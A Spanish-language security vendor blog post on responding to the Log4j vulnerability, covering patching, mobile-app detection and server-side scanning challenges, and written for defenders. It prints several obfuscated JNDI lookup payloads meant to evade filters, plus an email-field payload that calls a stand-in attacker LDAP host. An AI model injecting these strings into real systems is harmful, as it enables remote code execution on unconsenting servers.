¿Cómo reaccionamos ante la vulnerabilidad de Log4j? Lea nuestro análisis para aplicaciones móviles.

A estas alturas, la mayoría ya habrá oído hablar o leído sobre la tormenta de Log4J.

El objetivo de este artículo no es repetir el mismo contenido que ya han compartido muchos recursos, sino presentar una perspectiva diferente que se centra en la detección en dispositivos móviles y que aborda también los retos singulares a los que se enfrentan todos los escáneres de vulnerabilidades para detectar este tipo de vulnerabilidad.

La primera vez que oímos hablar de Log4J fue el viernes por la mañana, cuando alguien preguntó si Android era vulnerable a ese fallo. Al leer la incidencia, parecía una vulnerabilidad grave, pero no parecía más crítica que el fallo de Equifax (que ya era bastante grave).

Solo más tarde ese mismo día las cosas empezaron a aclararse. El fallo de Log4j es una RCE explotable de forma remota, que no requiere ninguna evasión de las protecciones de memoria, muy fiable, presente en una biblioteca muy extendida, incluso en Marte, y cuyo impacto puede propagarse en cascada a sistemas mucho más allá de los servidores expuestos a internet. Este problema es tan grave como puede serlo.

La vulnerabilidad también es muy fácil de ofuscar gracias a un motor de plantillas con numerosas funciones, como puede verse a continuación:

${${lower:j}${lower:n}${lower:d}${lower:i}:${lower:l}${lower:d}${lower:a}${lower:p}://test/a}

${${lower:j}${lower:n}${lower:d}${lower:i}:${lower:l}${lower:d}${lower:a}${lower:p}://${upper:t}est/a} 

${${env:env_name:-j}${env:env_name:-n}${env:env_name:-d}${env:env_name:-i}${env:env_name:-:}${env:env_name:-l}${env:env_name:-d}${env:env_name:-a}${env:env_name:-p}${env:env_name:-:}//test/a} (Also works on rmi, dns, ldaps)

${${::-j}${${::-n}${${::-d}${${::-i}:${::-l}${${::-d}${${::-a}${${::-p}://test/a}

${${::-j}${${::-n}${${::-d}${${::-i}:${::-l}${${::-d}${${::-a}${${::-p}://${hostname}.test/a}

${jndi:ldap://{$date:YYYYMMddHHmmss}.test/a}

Corregir el problema exige actualizar la biblioteca y, en algunos casos, pasar a una versión más reciente de Java, con cambios que pueden romper la compatibilidad.

Para abordar este problema, Ostorlab se puso a trabajar en 3 frentes:

• Aplicar parches a nuestros sistemas y corregir cualquier corrección que faltara
• Verificar la aplicabilidad a las aplicaciones móviles y asegurar una detección adecuada
• Implementar la detección en los escaneos del lado del servidor y de las API

Aplicación de parches

Gracias al uso de servicios basados en la nube, nuestro inventario se mantiene con facilidad. Tras revisar la lista de todos los sistemas y escanear cada uno, identificamos un servicio vulnerable utilizado para indexar resultados. En ese momento el servicio no tenía ningún parche disponible. Sin embargo, el sistema no era crítico para el negocio, por lo que decidimos desactivarlo primero. El análisis de nuestras bases de código sí reveló algunas herramientas incluidas con nuestro código que tenían una versión vulnerable de log4j y que se parchearon rápidamente.

Detección del lado del cliente

Log4j no se utiliza habitualmente en las aplicaciones móviles. Sin embargo, el análisis de los datos históricos de aplicaciones escaneadas anteriormente reveló más de 100 aplicaciones, algunas con más de 50M de usuarios, que incluían una versión de log4j.

CONSEJO: Ostorlab genera automáticamente la lista de materiales de software de la aplicación, también en la versión comunitaria gratuita, en la sección «Libraries & Dependencies».

Sin embargo, la vulnerabilidad de Log4j está causada por una clase de búsqueda JNDI que no estaba presente en las versiones que revisamos.

Al profundizar en la funcionalidad JNDI, su implementación se encuentra en javax.naming y, en algunas versiones de Android, en android.javax.naming.

Este paquete rara vez está presente en las aplicaciones, pero se observó en al menos 6 aplicaciones, algunas con más de un millón de usuarios. Todas estas aplicaciones mostraban una implementación de resolución JNDI.

Aunque Log4j es probablemente el vector más extendido, es probable que en el futuro veamos otras aplicaciones vulnerables debido a la resolución de JNDI no confiable.

El análisis del paquete javax.naming mostró que lo utilizan varias aplicaciones, algunas de ellas para extraer el CN de los certificados TLS.

A continuación se muestra un grafo completo generado con la funcionalidad de análisis estático de Ostorlab, que indica dónde se utiliza la clase de implementación de nomenclatura en la aplicación:

Detección del lado del servidor

Ya existen muchos proyectos de código abierto para hacer fuzzing de aplicaciones con cadenas JNDI y esperar callbacks.

El primer reto del escaneo de Log4j es que se basa en callbacks, lo que significa que enviar una solicitud simple y esperar una respuesta no dará ningún resultado. Los escáneres de red tradicionales pueden fallar porque a veces se despliegan en redes privadas y su payload basado en callbacks utilizará la dirección IP de una máquina inalcanzable.

El segundo reto es que los registros pueden proceder de distintas entradas con datos de serialización diferentes. Y la vulnerabilidad solo puede activarse una vez que la entrada supera la primera fase de deserialización. Esto no es en absoluto exclusivo de log4j, sino una debilidad común conocida de todos los escáneres de vulnerabilidades web.

El último reto es que las solicitudes directas no son el único vector de ataque: algunos ya han experimentado con introducir el payload en robots.txt, en campos DNS, en direcciones de correo electrónico (hack+(${jndi:ldap://attack.com/exploit})@ostorlab.co es una dirección de correo válida), en campos de certificados TLS, en metadatos de archivos, en el BSSID de la Wifi, ... básicamente el límite es su imaginación.

Es poco probable que alguna herramienta de seguridad cubra todo esto.

¿Qué debemos hacer?

Esta vulnerabilidad es, con diferencia, una de las más peligrosas, y sus ramificaciones tardarán meses en desplegarse antes de que se conozcan los compromisos graves.

Para proteger a su organización, deben tomarse muchas medidas:

• Aplicación proactiva de parches: si no está seguro de si su aplicación es vulnerable, puede utilizar la plataforma gratuita de Ostorlab para realizar un escaneo y comprobar que no hay ninguna biblioteca Log4j vulnerable.
• Escaneo de dependencias del código fuente para eliminar de raíz los casos fáciles de detectar
• Escaneo de artefactos compilados, ya sean sus wars, jar, apk o contenedores docker.
• Escaneo de instancias en producción, tanto de su código como de los sistemas y dispositivos de terceros. Verifique que los escáneres que utiliza «hablan el idioma» de sus API, es decir, que admiten REST y SOAP con un descubrimiento de API adecuado, como OpenAPI o la introspección de esquemas GraphQL, según su caso de uso.
• Lamentablemente, es probable que un WAF aporte poco beneficio por lo fácil que resulta ofuscar la vulnerabilidad, pero sigue siendo una buena protección en profundidad.